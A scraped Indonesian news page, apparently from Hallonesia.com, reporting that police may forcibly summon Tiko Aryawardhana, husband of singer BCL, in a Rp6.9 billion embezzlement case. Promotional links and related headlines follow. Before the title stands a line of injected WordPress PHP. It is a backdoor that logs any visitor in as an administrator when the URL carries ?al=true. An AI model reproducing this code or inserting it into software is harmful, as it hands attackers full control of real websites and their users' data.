// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Suami BCL Sudah 2 Tak Hadiri Pemeriksaan Penyidik, Polisi akan Jemput Paksa Jika Sekali Lagi Tak Hadir - Hallonesia.com

Suami BCL Sudah 2 Tak Hadiri Pemeriksaan Penyidik, Polisi akan Jemput Paksa Jika Sekali Lagi Tak Hadir

Avatar photo

- Pewarta

Selasa, 6 Agustus 2024 - 10:44 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tiko Aryawardhana, suami penyanyi, Bunga Citra Lestari (BCL). (Instagram.com @
tikoaryawardhana)

Tiko Aryawardhana, suami penyanyi, Bunga Citra Lestari (BCL). (Instagram.com @ tikoaryawardhana)

HALLONESIA.COM  – Suami Bunga Citra Lestari (BCL), Tiko Pradipta Aryawardhana Tiko sudah dua kali tak menghadiri pemeriksaan penyidik Kepolisian, yaitu pada 24 Juli dan 31 Juli 2024.

Dengan demikian penyidik bisa menjemput paksa jika suami BCL itu kembali mangkir dari panggilan penyidik.

Penyidik sudah melayangkan surat pemanggilan kepada Tiko untuk diperiksa sebagai saksi.

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Kepala Seksi Humas Polres Metro Jakarta Selatan AKP Nurma Dewi menyampaikan hal itu kepada wartawan di Jakarta, Senin (5/8/2024)

“Kami meminta lagi keterangan, bersurat resmi kepada Saudara T, meminta untuk datang ke Polres Metro Jakarta Selatan sebagai saksi,” ujar Nurma Dewi.

Pada 12 Juli 2024, Tiko melaporkan balik mantan istrinya yang berinisial AW ke Polda Metro Jaya.

Terkait kasus dugaan peristiwa pidana, yakni mengakses data elektronik milik orang lain tanpa izin.

Laporan tersebut teregistrasi dengan nomor STTLP/B/3968/VII/2024/SPKT POLDA METRO JAYA tertanggal 12 Juli 2024 dengan Pasal 32 juncto Pasal 48 Undang-Undang ITE.
.
Nurma Dewi mengatakn, Tiko bakal dijemput paksa jika kembali tak memenuhi panggilan penyidik Kepolisian terkait kasus dugaan penggelapan dana senilai Rp6,9 miliar.

“Tidak ada kabar, dua kali kita panggil, tiga kali, pasti kita upaya paksa. Itu jelas,” kata Nurma Dewi.

Nurma mengatakan, Polres Metro Jakarta Selatan telah memeriksa kembali Tiko.

Sebagai saksi terkait kasus dugaan penggelapan dana sebesar Rp6,9 miliar pada Rabu (24/7/2024).

Pemanggilan ketiga kalinya Tiko sebagai saksi itu juga untuk melengkapi dokumen yang belum sempat dibawa pada pemeriksaan sebelumnya.

Peristiwa ini berawal sekitar 2015-2021 yang bermula ketika AW dan Tiko memutuskan untuk mendirikan sebuah perusahaan yang bergerak dalam bidang makanan dan minuman.

Saat itu, Tiko menjabat sebagai direktur perusahaan dengan modal Rp2 miliar.

Kasus itu dilaporkan pada 2022 dan baru ditingkatkan statusnya ke tahap penyidikan pada Februari 2024.***

Sempatkan untuk membaca berbagai berita dan informasi seputar ekonomi dan bisnis lainnya di media Infoekbis.com dan Harianinvestor.com

Jangan lewatkan juga menyimak berita dan informasi terkini mengenai politik, hukum, dan nasional melalui media Helloidn.com dan Jakartaoke.com

Sedangkan untuk publikasi press release di media ini atau serentak di puluhan media lainnya, klik Rilisbisnis.com (khusus media ekbis) dan Jasasiaranpers.com (media nasional)

WhatsApp Center: 085315557788, 087815557788, 08111157788.

Pastikan download aplikasi portal berita Hallo.id di Playstore (android) dan Appstore (iphone), untuk mendapatkan aneka artikel yang menarik.

Berita Terkait

Pasha Ungu Turut Berduka Atas Driver Ojol Yang Tewas Dilindas Rantis
Bareskrim Gelar Tes DNA untuk Ridwan Kamil dan Lisa, Fakta Terkuak
Sidang Ricuh, Nikita Mirzani Tuding Ada Mafia Hukum di Kasus Skincare Rp4 Miliar
Drama Kehamilan DJ Panda, Bravy Ungkap Dua Korban Misterius Lainnya
Ancaman DJ Panda Ke Erika Carlina Bocor, Publik Heboh!
Dari Pesinetron Jadi Terdakwa! Kasus Vape Bius Jonathan Frizzy Naik
Skandal WhatsApp! Data Penyakit Dara Arafah Disebar Vendor Allianz, Heboh
Giring, Yovie, Ari, Ifan: Artis Merajai Jabatan Pengurus BUMN!
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Kamis, 23 Juli 2026 - 03:00 WIB

Campaign Connect Indonesia Edisi Ketiga Pertemukan Eksekutif Pemasaran untuk Membahas Strategi Pertumbuhan di Era AI pada 2026

Kamis, 23 Juli 2026 - 00:10 WIB

Synagie Luncurkan Geene 2.0 – BytePlus, SingData, dan FLY Entertainment Jadi 12 Mitra Pendiri Ekosistem “AI Commerce” Tepercaya

Rabu, 22 Juli 2026 - 08:52 WIB

Gravity Game Unite (GGU) Sukses Gelar “Ragnarok Zero: Global European User Meetup”!

Rabu, 22 Juli 2026 - 07:41 WIB

Novo Tellus Bermitra dengan RCF dan NRFC, Rampungkan Akuisisi Russell Mineral Equipment

Rabu, 22 Juli 2026 - 07:10 WIB

Molicel Manfaatkan Lonjakan Permintaan Mobil “Hybrid” di Pasar Global, Perkenalkan Teknologi Sel Baterai Generasi Terbaru

Rabu, 22 Juli 2026 - 00:00 WIB

Hisense Lansir Strategi Pertumbuhan Berbasis AI untuk Mewujudkan Era Baru Gaya Hidup Cerdas

Selasa, 21 Juli 2026 - 23:58 WIB

Haier Biomedical Tampilkan Platform Digital untuk Pengelolaan Bank Darah di Ajang ISBT Congress 2026, Perkuat Transformasi sebagai Mitra Solusi Menyeluruh

Selasa, 21 Juli 2026 - 21:09 WIB

Solusi Optik dan DCI Ribbon Memungkinkan PT Jala Lintas Media (JLM) Memanfaatkan Kapasitas Jaringan Bawah Laut dan Metro Antara Indonesia dan Singapura

Berita Terbaru